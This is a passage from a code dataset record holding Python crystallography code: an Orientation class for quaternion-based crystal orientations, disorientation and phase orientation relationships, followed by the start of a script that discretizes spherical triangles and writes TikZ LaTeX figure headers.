symmetry.\n\n proper considers only vectors with z >= 0, hence uses two neighboring SSTs.\n Return inverse pole figure color if requested.\n \"\"\"\n# basis = {'cubic' : np.linalg.inv(np.array([[0.,0.,1.], # direction of red\n# [1.,0.,1.]/np.sqrt(2.), # direction of green\n# [1.,1.,1.]/np.sqrt(3.)]).transpose()), # direction of blue\n# 'hexagonal' : np.linalg.inv(np.array([[0.,0.,1.], # direction of red\n# [1.,0.,0.], # direction of green\n# [np.sqrt(3.),1.,0.]/np.sqrt(4.)]).transpose()), # direction of blue\n# 'tetragonal' : np.linalg.inv(np.array([[0.,0.,1.], # direction of red\n# [1.,0.,0.], # direction of green\n# [1.,1.,0.]/np.sqrt(2.)]).transpose()), # direction of blue\n# 'orthorhombic' : np.linalg.inv(np.array([[0.,0.,1.], # direction of red\n# [1.,0.,0.], # direction of green\n# [0.,1.,0.]]).transpose()), # direction of blue\n# }\n\n if self.lattice == 'cubic':\n basis = {'improper':np.array([ [-1. , 0. , 1. ],\n [ np.sqrt(2.) , -np.sqrt(2.) , 0. ],\n [ 0. , np.sqrt(3.) , 0. ] ]),\n 'proper':np.array([ [ 0. , -1. , 1. ],\n [-np.sqrt(2.) , np.sqrt(2.) , 0. ],\n [ np.sqrt(3.) , 0. , 0. ] ]),\n }\n elif self.lattice == 'hexagonal':\n basis = {'improper':np.array([ [ 0. , 0. , 1. ],\n [ 1. , -np.sqrt(3.), 0. ],\n [ 0. , 2. , 0. ] ]),\n 'proper':np.array([ [ 0. , 0. , 1. ],\n [-1. , np.sqrt(3.) , 0. ],\n [ np.sqrt(3) , -1. , 0. ] ]),\n }\n elif self.lattice == 'tetragonal':\n basis = {'improper':np.array([ [ 0. , 0. , 1. ],\n [ 1. , -1. , 0. ],\n [ 0. , np.sqrt(2.), 0. ] ]),\n 'proper':np.array([ [ 0. , 0. , 1. ],\n [-1. , 1. , 0. ],\n [ np.sqrt(2.) , 0. , 0. ] ]),\n }\n elif self.lattice == 'orthorhombic':\n basis = {'improper':np.array([ [ 0., 0., 1.],\n [ 1., 0., 0.],\n [ 0., 1., 0.] ]),\n 'proper':np.array([ [ 0., 0., 1.],\n [-1., 0., 0.],\n [ 0., 1., 0.] ]),\n }\n else:\n basis = {'improper':np.zeros((3,3),dtype=float),\n 'proper':np.zeros((3,3),dtype=float),\n }\n\n if np.all(basis == 0.0):\n theComponents = -np.ones(3,'d')\n inSST = np.all(theComponents >= 0.0)\n else:\n v = np.array(vector,dtype = float)\n if proper: # check both improper ...\n theComponents = np.dot(basis['improper'],v)\n inSST = np.all(theComponents >= 0.0)\n if not inSST: # ... and proper SST\n theComponents = np.dot(basis['proper'],v)\n inSST = np.all(theComponents >= 0.0)\n else: \n v[2] = abs(v[2]) # z component projects identical \n theComponents = np.dot(basis['improper'],v) # for positive and negative values\n inSST = np.all(theComponents >= 0.0)\n\n if color: # have to return color array\n if inSST:\n rgb = np.power(theComponents/np.linalg.norm(theComponents),0.5) # smoothen color ramps\n rgb = np.minimum(np.ones(3,'d'),rgb) # limit to maximum intensity\n rgb /= max(rgb) # normalize to (HS)V = 1\n else:\n rgb = np.zeros(3,'d')\n return (inSST,rgb)\n else:\n return inSST\n\n# code derived from http://pyeuclid.googlecode.com/svn/trunk/euclid.py\n# suggested reading: http://web.mit.edu/2.998/www/QuaternionReport1.pdf\n\n\n\n# ******************************************************************************************\nclass Orientation:\n\n __slots__ = ['quaternion','symmetry']\n\n def __init__(self,\n quaternion = Quaternion.fromIdentity(),\n Rodrigues = None,\n angleAxis = None,\n matrix = None,\n Eulers = None,\n random = False, # integer to have a fixed seed or True for real random\n symmetry = None,\n degrees = False,\n ):\n if random: # produce random orientation\n if isinstance(random, bool ):\n self.quaternion = Quaternion.fromRandom()\n else:\n self.quaternion = Quaternion.fromRandom(randomSeed=random)\n elif isinstance(Eulers, np.ndarray) and Eulers.shape == (3,): # based on given Euler angles\n self.quaternion = Quaternion.fromEulers(Eulers,type='bunge',degrees=degrees)\n elif isinstance(matrix, np.ndarray) : # based on given rotation matrix\n self.quaternion = Quaternion.fromMatrix(matrix)\n elif isinstance(angleAxis, np.ndarray) and angleAxis.shape == (4,): # based on given angle and rotation axis\n self.quaternion = Quaternion.fromAngleAxis(angleAxis[0],angleAxis[1:4],degrees=degrees)\n elif isinstance(Rodrigues, np.ndarray) and Rodrigues.shape == (3,): # based on given Rodrigues vector\n self.quaternion = Quaternion.fromRodrigues(Rodrigues)\n elif isinstance(quaternion, Quaternion): # based on given quaternion\n self.quaternion = quaternion.homomorphed()\n elif isinstance(quaternion, np.ndarray) and quaternion.shape == (4,): # based on given quaternion-like array\n self.quaternion = Quaternion(quaternion).homomorphed()\n\n self.symmetry = Symmetry(symmetry)\n\n def __copy__(self):\n \"\"\"copy\"\"\"\n return self.__class__(quaternion=self.quaternion,symmetry=self.symmetry.lattice)\n\n copy = __copy__\n\n\n def __repr__(self):\n \"\"\"value as all implemented representations\"\"\"\n return 'Symmetry: %s\\n' % (self.symmetry) + \\\n 'Quaternion: %s\\n' % (self.quaternion) + \\\n 'Matrix:\\n%s\\n' % ( '\\n'.join(['\\t'.join(map(str,self.asMatrix()[i,:])) for i in range(3)]) ) + \\\n 'Bunge Eulers / deg: %s' % ('\\t'.join(map(str,self.asEulers('bunge',degrees=True))) )\n\n def asQuaternion(self):\n return self.quaternion.asList()\n\n def asEulers(self,\n type = 'bunge',\n degrees = False,\n standardRange = False):\n return self.quaternion.asEulers(type, degrees, standardRange)\n eulers = property(asEulers)\n\n def asRodrigues(self):\n return self.quaternion.asRodrigues()\n rodrigues = property(asRodrigues)\n\n def asAngleAxis(self,\n degrees = False):\n return self.quaternion.asAngleAxis(degrees)\n angleAxis = property(asAngleAxis)\n\n def asMatrix(self):\n return self.quaternion.asMatrix()\n matrix = property(asMatrix)\n\n def inFZ(self):\n return self.symmetry.inFZ(self.quaternion.asRodrigues())\n infz = property(inFZ)\n\n def equivalentQuaternions(self,\n who = []):\n return self.symmetry.equivalentQuaternions(self.quaternion,who)\n\n def equivalentOrientations(self,\n who = []):\n return [Orientation(quaternion = q, symmetry = self.symmetry.lattice) for q in self.equivalentQuaternions(who)]\n\n def reduced(self):\n \"\"\"Transform orientation to fall into fundamental zone according to symmetry\"\"\"\n for me in self.symmetry.equivalentQuaternions(self.quaternion):\n if self.symmetry.inFZ(me.asRodrigues()): break\n\n return Orientation(quaternion=me,symmetry=self.symmetry.lattice)\n\n\n def disorientation(self,\n other,\n SST = True):\n \"\"\"\n Disorientation between myself and given other orientation.\n\n Rotation axis falls into SST if SST == True.\n (Currently requires same symmetry for both orientations.\n Look into A. Heinz and P. Neumann 1991 for cases with differing sym.)\n \"\"\"\n if self.symmetry != other.symmetry: raise TypeError('disorientation between different symmetry classes not supported yet.')\n\n misQ = self.quaternion.conjugated()*other.quaternion\n mySymQs = self.symmetry.symmetryQuats() if SST else self.symmetry.symmetryQuats()[:1] # take all or only first sym operation\n otherSymQs = other.symmetry.symmetryQuats()\n \n for i,sA in enumerate(mySymQs):\n for j,sB in enumerate(otherSymQs):\n theQ = sA.conjugated()*misQ*sB\n for k in range(2):\n theQ.conjugate()\n breaker = self.symmetry.inFZ(theQ) \\\n and (not SST or other.symmetry.inDisorientationSST(theQ))\n if breaker: break\n if breaker: break\n if breaker: break\n\n# disorientation, own sym, other sym, self-->other: True, self<--other: False\n return (Orientation(quaternion = theQ,symmetry = self.symmetry.lattice),\n i,j,k == 1) \n\n\n def inversePole(self,\n axis,\n proper = False,\n SST = True):\n \"\"\"axis rotated according to orientation (using crystal symmetry to ensure location falls into SST)\"\"\"\n if SST: # pole requested to be within SST\n for i,q in enumerate(self.symmetry.equivalentQuaternions(self.quaternion)): # test all symmetric equivalent quaternions\n pole = q.conjugated()*axis # align crystal direction to axis\n if self.symmetry.inSST(pole,proper): break # found SST version\n else:\n pole = self.quaternion.conjugated()*axis # align crystal direction to axis\n\n return (pole,i if SST else 0)\n\n def IPFcolor(self,axis):\n \"\"\"TSL color of inverse pole figure for given axis\"\"\"\n color = np.zeros(3,'d')\n\n for q in self.symmetry.equivalentQuaternions(self.quaternion):\n pole = q.conjugated()*axis # align crystal direction to axis\n inSST,color = self.symmetry.inSST(pole,color=True)\n if inSST: break\n\n return color\n\n @classmethod\n def average(cls,\n orientations,\n multiplicity = []):\n \"\"\"\n average orientation\n\n ref: F. Landis Markley, Yang Cheng, John Lucas Crassidis, and Yaakov Oshman.\n Averaging Quaternions,\n Journal of Guidance, Control, and Dynamics, Vol. 30, No. 4 (2007), pp. 1193-1197.\n doi: 10.2514/1.28949\n usage:\n a = Orientation(Eulers=np.radians([10, 10, 0]), symmetry='hexagonal')\n b = Orientation(Eulers=np.radians([20, 0, 0]), symmetry='hexagonal')\n avg = Orientation.average([a,b])\n \"\"\"\n if not all(isinstance(item, Orientation) for item in orientations):\n raise TypeError(\"Only instances of Orientation can be averaged.\")\n\n N = len(orientations)\n if multiplicity == [] or not multiplicity:\n multiplicity = np.ones(N,dtype='i')\n\n reference = orientations[0] # take first as reference\n for i,(o,n) in enumerate(zip(orientations,multiplicity)):\n closest = o.equivalentOrientations(reference.disorientation(o,SST = False)[2])[0] # select sym orientation with lowest misorientation\n M = closest.quaternion.asM() * n if i == 0 else M + closest.quaternion.asM() * n # noqa add (multiples) of this orientation to average noqa\n eig, vec = np.linalg.eig(M/N)\n\n return Orientation(quaternion = Quaternion(quatArray = np.real(vec.T[eig.argmax()])),\n symmetry = reference.symmetry.lattice)\n\n\n def related(self,\n relationModel,\n direction,\n targetSymmetry = None):\n \"\"\"\n orientation relationship\n\n positive number: fcc --> bcc\n negative number: bcc --> fcc\n \"\"\"\n if relationModel not in ['KS','GT','GTdash','NW','Pitsch','Bain']: return None\n if int(direction) == 0: return None\n\n # KS from S. Morito et al./Journal of Alloys and Compounds 5775 (2013) S587-S592\n # for KS rotation matrices also check K. Kitahara et al./Acta Materialia 54 (2006) 1279-1288\n # GT from Y. He et al./Journal of Applied Crystallography (2006). 39, 72-81\n # GT' from Y. He et al./Journal of Applied Crystallography (2006). 39, 72-81\n # NW from H. Kitahara et al./Materials Characterization 54 (2005) 378-386\n # Pitsch from Y. He et al./Acta Materialia 53 (2005) 1179-1190\n # Bain from Y. He et al./Journal of Applied Crystallography (2006). 39, 72-81\n\n variant = int(abs(direction))-1\n (me,other) = (0,1) if direction > 0 else (1,0)\n\n planes = {'KS': \\\n np.array([[[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, -1],[ 0, 1, 1]],\n [[ 1, 1, -1],[ 0, 1, 1]],\n [[ 1, 1, -1],[ 0, 1, 1]],\n [[ 1, 1, -1],[ 0, 1, 1]],\n [[ 1, 1, -1],[ 0, 1, 1]],\n [[ 1, 1, -1],[ 0, 1, 1]]]),\n 'GT': \\\n np.array([[[ 1, 1, 1],[ 1, 0, 1]],\n [[ 1, 1, 1],[ 1, 1, 0]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ -1, -1, 1],[ -1, 0, 1]],\n [[ -1, -1, 1],[ -1, -1, 0]],\n [[ -1, -1, 1],[ 0, -1, 1]],\n [[ -1, 1, 1],[ -1, 0, 1]],\n [[ -1, 1, 1],[ -1, 1, 0]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 1, 0, 1]],\n [[ 1, -1, 1],[ 1, -1, 0]],\n [[ 1, -1, 1],[ 0, -1, 1]],\n [[ 1, 1, 1],[ 1, 1, 0]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, 1],[ 1, 0, 1]],\n [[ -1, -1, 1],[ -1, -1, 0]],\n [[ -1, -1, 1],[ 0, -1, 1]],\n [[ -1, -1, 1],[ -1, 0, 1]],\n [[ -1, 1, 1],[ -1, 1, 0]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ -1, 0, 1]],\n [[ 1, -1, 1],[ 1, -1, 0]],\n [[ 1, -1, 1],[ 0, -1, 1]],\n [[ 1, -1, 1],[ 1, 0, 1]]]),\n 'GTdash': \\\n np.array([[[ 7, 17, 17],[ 12, 5, 17]],\n [[ 17, 7, 17],[ 17, 12, 5]],\n [[ 17, 17, 7],[ 5, 17, 12]],\n [[ -7,-17, 17],[-12, -5, 17]],\n [[-17, -7, 17],[-17,-12, 5]],\n [[-17,-17, 7],[ -5,-17, 12]],\n [[ 7,-17,-17],[ 12, -5,-17]],\n [[ 17, -7,-17],[ 17,-12, -5]],\n [[ 17,-17, -7],[ 5,-17,-12]],\n [[ -7, 17,-17],[-12, 5,-17]],\n [[-17, 7,-17],[-17, 12, -5]],\n [[-17, 17, -7],[ -5, 17,-12]],\n [[ 7, 17, 17],[ 12, 17, 5]],\n [[ 17, 7, 17],[ 5, 12, 17]],\n [[ 17, 17, 7],[ 17, 5, 12]],\n [[ -7,-17, 17],[-12,-17, 5]],\n [[-17, -7, 17],[ -5,-12, 17]],\n [[-17,-17, 7],[-17, -5, 12]],\n [[ 7,-17,-17],[ 12,-17, -5]],\n [[ 17, -7,-17],[ 5, -12,-17]],\n [[ 17,-17, 7],[ 17, -5,-12]],\n [[ -7, 17,-17],[-12, 17, -5]],\n [[-17, 7,-17],[ -5, 12,-17]],\n [[-17, 17, -7],[-17, 5,-12]]]),\n 'NW': \\\n np.array([[[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ 1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ -1, 1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ 1, -1, 1],[ 0, 1, 1]],\n [[ -1, -1, 1],[ 0, 1, 1]],\n [[ -1, -1, 1],[ 0, 1, 1]],\n [[ -1, -1, 1],[ 0, 1, 1]]]),\n 'Pitsch': \\\n np.array([[[ 0, 1, 0],[ -1, 0, 1]],\n [[ 0, 0, 1],[ 1, -1, 0]],\n [[ 1, 0, 0],[ 0, 1, -1]],\n [[ 1, 0, 0],[ 0, -1, -1]],\n [[ 0, 1, 0],[ -1, 0, -1]],\n [[ 0, 0, 1],[ -1, -1, 0]],\n [[ 0, 1, 0],[ -1, 0, -1]],\n [[ 0, 0, 1],[ -1, -1, 0]],\n [[ 1, 0, 0],[ 0, -1, -1]],\n [[ 1, 0, 0],[ 0, -1, 1]],\n [[ 0, 1, 0],[ 1, 0, -1]],\n [[ 0, 0, 1],[ -1, 1, 0]]]),\n 'Bain': \\\n np.array([[[ 1, 0, 0],[ 1, 0, 0]],\n [[ 0, 1, 0],[ 0, 1, 0]],\n [[ 0, 0, 1],[ 0, 0, 1]]]),\n }\n\n normals = {'KS': \\\n np.array([[[ -1, 0, 1],[ -1, -1, 1]],\n [[ -1, 0, 1],[ -1, 1, -1]],\n [[ 0, 1, -1],[ -1, -1, 1]],\n [[ 0, 1, -1],[ -1, 1, -1]],\n [[ 1, -1, 0],[ -1, -1, 1]],\n [[ 1, -1, 0],[ -1, 1, -1]],\n [[ 1, 0, -1],[ -1, -1, 1]],\n [[ 1, 0, -1],[ -1, 1, -1]],\n [[ -1, -1, 0],[ -1, -1, 1]],\n [[ -1, -1, 0],[ -1, 1, -1]],\n [[ 0, 1, 1],[ -1, -1, 1]],\n [[ 0, 1, 1],[ -1, 1, -1]],\n [[ 0, -1, 1],[ -1, -1, 1]],\n [[ 0, -1, 1],[ -1, 1, -1]],\n [[ -1, 0, -1],[ -1, -1, 1]],\n [[ -1, 0, -1],[ -1, 1, -1]],\n [[ 1, 1, 0],[ -1, -1, 1]],\n [[ 1, 1, 0],[ -1, 1, -1]],\n [[ -1, 1, 0],[ -1, -1, 1]],\n [[ -1, 1, 0],[ -1, 1, -1]],\n [[ 0, -1, -1],[ -1, -1, 1]],\n [[ 0, -1, -1],[ -1, 1, -1]],\n [[ 1, 0, 1],[ -1, -1, 1]],\n [[ 1, 0, 1],[ -1, 1, -1]]]),\n 'GT': \\\n np.array([[[ -5,-12, 17],[-17, -7, 17]],\n [[ 17, -5,-12],[ 17,-17, -7]],\n [[-12, 17, -5],[ -7, 17,-17]],\n [[ 5, 12, 17],[ 17, 7, 17]],\n [[-17, 5,-12],[-17, 17, -7]],\n [[ 12,-17, -5],[ 7,-17,-17]],\n [[ -5, 12,-17],[-17, 7,-17]],\n [[ 17, 5, 12],[ 17, 17, 7]],\n [[-12,-17, 5],[ -7,-17, 17]],\n [[ 5,-12,-17],[ 17, -7,-17]],\n [[-17, -5, 12],[-17,-17, 7]],\n [[ 12, 17, 5],[ 7, 17, 17]],\n [[ -5, 17,-12],[-17, 17, -7]],\n [[-12, -5, 17],[ -7,-17, 17]],\n [[ 17,-12, -5],[ 17, -7,-17]],\n [[ 5,-17,-12],[ 17,-17, -7]],\n [[ 12, 5, 17],[ 7, 17, 17]],\n [[-17, 12, -5],[-17, 7,-17]],\n [[ -5,-17, 12],[-17,-17, 7]],\n [[-12, 5,-17],[ -7, 17,-17]],\n [[ 17, 12, 5],[ 17, 7, 17]],\n [[ 5, 17, 12],[ 17, 17, 7]],\n [[ 12, -5,-17],[ 7,-17,-17]],\n [[-17,-12, 5],[-17, 7, 17]]]),\n 'GTdash': \\\n np.array([[[ 0, 1, -1],[ 1, 1, -1]],\n [[ -1, 0, 1],[ -1, 1, 1]],\n [[ 1, -1, 0],[ 1, -1, 1]],\n [[ 0, -1, -1],[ -1, -1, -1]],\n [[ 1, 0, 1],[ 1, -1, 1]],\n [[ 1, -1, 0],[ 1, -1, -1]],\n [[ 0, 1, -1],[ -1, 1, -1]],\n [[ 1, 0, 1],[ 1, 1, 1]],\n [[ -1, -1, 0],[ -1, -1, 1]],\n [[ 0, -1, -1],[ 1, -1, -1]],\n [[ -1, 0, 1],[ -1, -1, 1]],\n [[ -1, -1, 0],[ -1, -1, -1]],\n [[ 0, -1, 1],[ 1, -1, 1]],\n [[ 1, 0, -1],[ 1, 1, -1]],\n [[ -1, 1, 0],[ -1, 1, 1]],\n [[ 0, 1, 1],[ -1, 1, 1]],\n [[ -1, 0, -1],[ -1, -1, -1]],\n [[ -1, 1, 0],[ -1, 1, -1]],\n [[ 0, -1, 1],[ -1, -1, 1]],\n [[ -1, 0, -1],[ -1, 1, -1]],\n [[ 1, 1, 0],[ 1, 1, 1]],\n [[ 0, 1, 1],[ 1, 1, 1]],\n [[ 1, 0, -1],[ 1, -1, -1]],\n [[ 1, 1, 0],[ 1, 1, -1]]]),\n 'NW': \\\n np.array([[[ 2, -1, -1],[ 0, -1, 1]],\n [[ -1, 2, -1],[ 0, -1, 1]],\n [[ -1, -1, 2],[ 0, -1, 1]],\n [[ -2, -1, -1],[ 0, -1, 1]],\n [[ 1, 2, -1],[ 0, -1, 1]],\n [[ 1, -1, 2],[ 0, -1, 1]],\n [[ 2, 1, -1],[ 0, -1, 1]],\n [[ -1, -2, -1],[ 0, -1, 1]],\n [[ -1, 1, 2],[ 0, -1, 1]],\n [[ -1, 2, 1],[ 0, -1, 1]],\n [[ -1, 2, 1],[ 0, -1, 1]],\n [[ -1, -1, -2],[ 0, -1, 1]]]),\n 'Pitsch': \\\n np.array([[[ 1, 0, 1],[ 1, -1, 1]],\n [[ 1, 1, 0],[ 1, 1, -1]],\n [[ 0, 1, 1],[ -1, 1, 1]],\n [[ 0, 1, -1],[ -1, 1, -1]],\n [[ -1, 0, 1],[ -1, -1, 1]],\n [[ 1, -1, 0],[ 1, -1, -1]],\n [[ 1, 0, -1],[ 1, -1, -1]],\n [[ -1, 1, 0],[ -1, 1, -1]],\n [[ 0, -1, 1],[ -1, -1, 1]],\n [[ 0, 1, 1],[ -1, 1, 1]],\n [[ 1, 0, 1],[ 1, -1, 1]],\n [[ 1, 1, 0],[ 1, 1, -1]]]),\n 'Bain': \\\n np.array([[[ 0, 1, 0],[ 0, 1, 1]],\n [[ 0, 0, 1],[ 1, 0, 1]],\n [[ 1, 0, 0],[ 1, 1, 0]]]),\n }\n myPlane = [float(i) for i in planes[relationModel][variant,me]] # map(float, planes[...]) does not work in python 3\n myPlane /= np.linalg.norm(myPlane)\n myNormal = [float(i) for i in normals[relationModel][variant,me]] # map(float, planes[...]) does not work in python 3\n myNormal /= np.linalg.norm(myNormal)\n myMatrix = np.array([myNormal,np.cross(myPlane,myNormal),myPlane]).T\n\n otherPlane = [float(i) for i in planes[relationModel][variant,other]] # map(float, planes[...]) does not work in python 3\n otherPlane /= np.linalg.norm(otherPlane)\n otherNormal = [float(i) for i in normals[relationModel][variant,other]] # map(float, planes[...]) does not work in python 3\n otherNormal /= np.linalg.norm(otherNormal)\n otherMatrix = np.array([otherNormal,np.cross(otherPlane,otherNormal),otherPlane]).T\n\n rot=np.dot(otherMatrix,myMatrix.T)\n\n return Orientation(matrix=np.dot(rot,self.asMatrix())) # no symmetry information ??\n" }, { "alpha_fraction": 0.5386536121368408, "alphanum_fraction": 0.5940447449684143, "avg_line_length": 38.43430709838867, "blob_id": "c3017534f7bca3f2ae7ca2dab51ddb38329f9c98", "content_id": "806aff3b7b000e16b7aaa30971992c05664ee1cc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10814, "license_type": "permissive", "max_line_length": 176, "num_lines": 274, "path": "/Code/equidistant_SphericalTriangle.py", "repo_name": "chakra34/SphericalOrientations", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n###########################################################################\n# Authors #\n# Aritra Chakraborty #\n# Philip Eisenlohr #\n###########################################################################\n\nimport os,sys,Spherical\nimport string\nfrom optparse import OptionParser\nimport numpy as np\nfrom subprocess import call\nimport math\n\nglobal listAngles\nlistAngles = []\n\nglobal listCoords\nlistCoords = []\n\nscriptID = string.replace('$Id: equidistant_SphericalTriangle.py 476 2017-06-15 15:22:25Z chakra34 $','\\n','\\\\n')\nscriptName = os.path.splitext(scriptID.split()[1])[0]\n\n\nparser = OptionParser(option_class=Spherical.extendableOption, usage='%prog options [file[s]]', description = \"\"\"\nDiscretizes a spherical triangle equally based on degrees of runs.\n\n\"\"\", version = scriptID)\n\nparser.add_option('--degrees',\n dest = 'degrees',\n type = 'int',\n help = 'number of times discretizations to be done [3]')\n\nparser.add_option('--symm',\n dest = 'symmetry',\n type = 'string',\n help = 'symmetry [cubic]')\n\nparser.add_option(\"--unitcell\", action=\"store_true\",\n dest=\"unitcell\",\n help=\"unitcell or not [False]\")\n\nparser.add_option(\"--eulers\", action=\"store_true\",\n dest=\"eulers\",\n help=\"prints out the discretized Euler angles in Bunge convention [False]\")\n\nparser.add_option('--p1',\n dest = 'point1',\n type = 'float', nargs = 3, metavar = 'float float float',\n help = 'first point in the spherical triangle to be discretized [%default]')\n\nparser.add_option('--p2',\n dest = 'point2',\n type = 'float', nargs = 3, metavar = 'float float float',\n help = 'second point in the spherical triangle to be discretized [%default]')\n\nparser.add_option('--p3',\n dest = 'point3',\n type = 'float', nargs = 3, metavar = 'float float float',\n help = 'third point in the spherical triangle to be discretized [%default]')\n\nparser.add_option( '--root',\n dest = 'root',\n type = 'string', metavar = 'string',\n help = ' desired root of this process ')\n\nparser.set_defaults(degrees = 3,\n symmetry = 'cubic',\n unitcell = False,\n eulers = False,\n point1 = [0., 0., 1.],\n point2 = [1., 0., 1.],\n point3 = [1., 1., 1.],\n )\n\n(options,filenames) = parser.parse_args()\noptions.root = os.path.dirname(os.path.realpath(__file__)) if options.root == None else options.root\n\noptions.point1 = np.array(options.point1)/np.linalg.norm(options.point1)\noptions.point2 = np.array(options.point2)/np.linalg.norm(options.point2)\noptions.point3 = np.array(options.point3)/np.linalg.norm(options.point3)\n\n\n#----------------------------------------------#\ndef generate_tex_cubic(section):\n\n if section == 'header' :\n return \"\"\"\n\\\\documentclass{article}\n\\\\usepackage{tikz}\n\\\\graphicspath{{../}{./}}\n\\\\usetikzlibrary{shapes,arrows}\n\\\\usepackage{miller}\n\\\\usepackage[graphics, active, tightpage]{preview}\n\\\\PreviewEnvironment{tikzpicture}\n\\\\begin{document}\n\\\\thispagestyle{empty}\n\\\\begin{tikzpicture}\n\\\\begin{scope}[x=19.313708cm,y=19.313708cm]\n\\\\draw[line width=1.0pt] (0,0) -- (0.414,0);\n% \\\\draw[line width=1.0pt] (0,0) -- (0.0,0.414);\n\\\\draw[line width=1.0pt, domain=0:15] plot ({-1 + sqrt(2)*cos(\\\\x)}, {sqrt(2)*sin(\\\\x)});\n% \\\\draw[line width=1.0pt, domain=75:90] plot ({ sqrt(2)*cos(\\\\x)}, {-1 + sqrt(2)*sin(\\\\x)});\n\\\\draw[line width=1.0pt] (0,0) -- (0.366,0.366);\n\\\\begin{scope}[inner sep=0pt]\n\\\\node[fill,rectangle,minimum height=6pt,minimum width=6pt,label={below left:\\\\small\\\\hkl<001>}] at (0.000000,0.000000) {};\n\\\\node[fill,diamond,minimum height=12pt,minimum width=6pt,label={below right:\\\\small\\\\hkl<101>}] at (0.414,0.000000) {};\n% \\\\node[fill,diamond,minimum height=12pt,minimum width=6pt,label={below right:\\\\small\\\\hkl<011>}] at (0.0,0.414) {};\n\\\\node[fill,ellipse,minimum height=6pt,minimum width=6pt,label={above right:\\\\small\\\\hkl<111>}] at (0.366,0.366) {};\n\\\\end{scope}\n\\\\begin{scope}[inner sep=1.0pt]\n\"\"\"\n elif section == 'footer' :\n return \"\"\"\n\\\\end{scope}\n\\\\end{scope}\n\\\\end{tikzpicture}\n\\\\end{document}\n\"\"\"\n\ndef generate_tex_tetragonal(section):\n \n if section == 'header' :\n return \"\"\"\n\\\\documentclass{article}\n\\\\usepackage{tikz}\n\\\\graphicspath{{../}{./}}\n\\\\usetikzlibrary{shapes,arrows}\n\\\\usepackage{miller}\n\\\\usepackage[graphics, active, tightpage]{preview}\n\\\\PreviewEnvironment{tikzpicture}\n\\\\begin{document}\n\\\\thispagestyle{empty}\n\\\\begin{tikzpicture}\n\\\\begin{scope}[x=19.313708cm,y=19.313708cm]\n\\\\draw[line width=1.0pt] (0,0) -- (1,0);\n\\\\draw[line width=1.0pt] (1,0) arc(0:45:1);\n%\\\\draw[line width=1.0pt] (0,0) -- (0,1);\n\\\\draw[line width=1.0pt] (0,0) -- (0.707,0.707);\n\\\\begin{scope}[inner sep=0pt]\n\\\\node[fill,rectangle,minimum height=6pt,minimum width=6pt,label={below left:\\\\small\\\\hkl<001>}] at (0.000000,0.000000) {};\n\\\\node[fill,diamond,minimum height=12pt,minimum width=6pt,label={below right:\\\\small\\\\hkl<100>}] at (1.000000,0.000000) {};\n\\\\node[fill,ellipse,minimum height=6pt,minimum width=6pt,label={above right:\\\\small\\\\hkl<110>}] at (0.707107,0.707107) {};\n%\\\\node[fill,diamond,minimum height=6pt,minimum width=6pt,label={above right:\\\\small\\\\hkl<010>}] at (0.0000,1.0000) {};\n\\\\end{scope}\n\\\\begin{scope}[inner sep=1.0pt]\n\"\"\"\n elif section == 'footer' :\n return \"\"\"\n\\\\end{scope}\n\\\\end{scope}\n\\\\end{tikzpicture}\n\\\\end{document}\n\"\"\"\n\ndef generate_tex_hexagonal(section):\n \n if section == 'header' :\n return \"\"\"\n\\\\documentclass{article}\n\\\\usepackage{tikz}\n\\\\graphicspath{{../}{./}}\n\\\\usetikzlibrary{shapes,arrows}\n\\\\usepackage{miller}\n\\\\usepackage[graphics, active, tightpage]{preview}\n\\\\PreviewEnvironment{tikzpicture}\n\\\\begin{document}\n\\\\thispagestyle{empty}\n\\\\begin{tikzpicture}\n\\\\begin{scope}[x=19.313708cm,y=19.313708cm]\n\\\\draw[line width=1.0pt] (0,0) -- (1,0);\n\\\\draw[line width=1.0pt] (1,0) arc(0:30:1);\n%\\\\draw[line width=1.0pt] (0,0) -- (0,1);\n\\\\draw[line width=1.0pt] (0,0) -- (0.866,0.50);\n%\\\\draw[line width=1.0pt] (0,0) -- (0.5,0.8660);\n\\\\begin{scope}[inner sep=0pt]\n\\\\node[fill,rectangle,minimum height=6pt,minimum width=6pt,label={below left:\\\\small\\\\hkl<0001>}] at (0.000000,0.000000) {};\n\\\\node[fill,diamond,minimum height=12pt,minimum width=6pt,label={below right:\\\\small\\\\hkl<2-1-10>}] at (1.000000,0.000000) {};\n\\\\node[fill,ellipse,minimum height=6pt,minimum width=6pt,label={above right:\\\\small\\\\hkl<10-10>}] at (0.866,0.5) {};\n%\\\\node[fill,diamond,minimum height=6pt,minimum width=6pt,label={above right:\\\\small\\\\hkl<11-20>}] at (0.5,0.866) {};\n\\\\end{scope}\n\\\\begin{scope}[inner sep=1.0pt]\n\"\"\"\n elif section == 'footer' :\n return \"\"\"\n\\\\end{scope}\n\\\\end{scope}\n\\\\end{tikzpicture}\n\\\\end{document}\n\"\"\"\n\n#------------------------------------------------------#\ndef append(vector):\n color = np.array(([255,0,0]))\n if 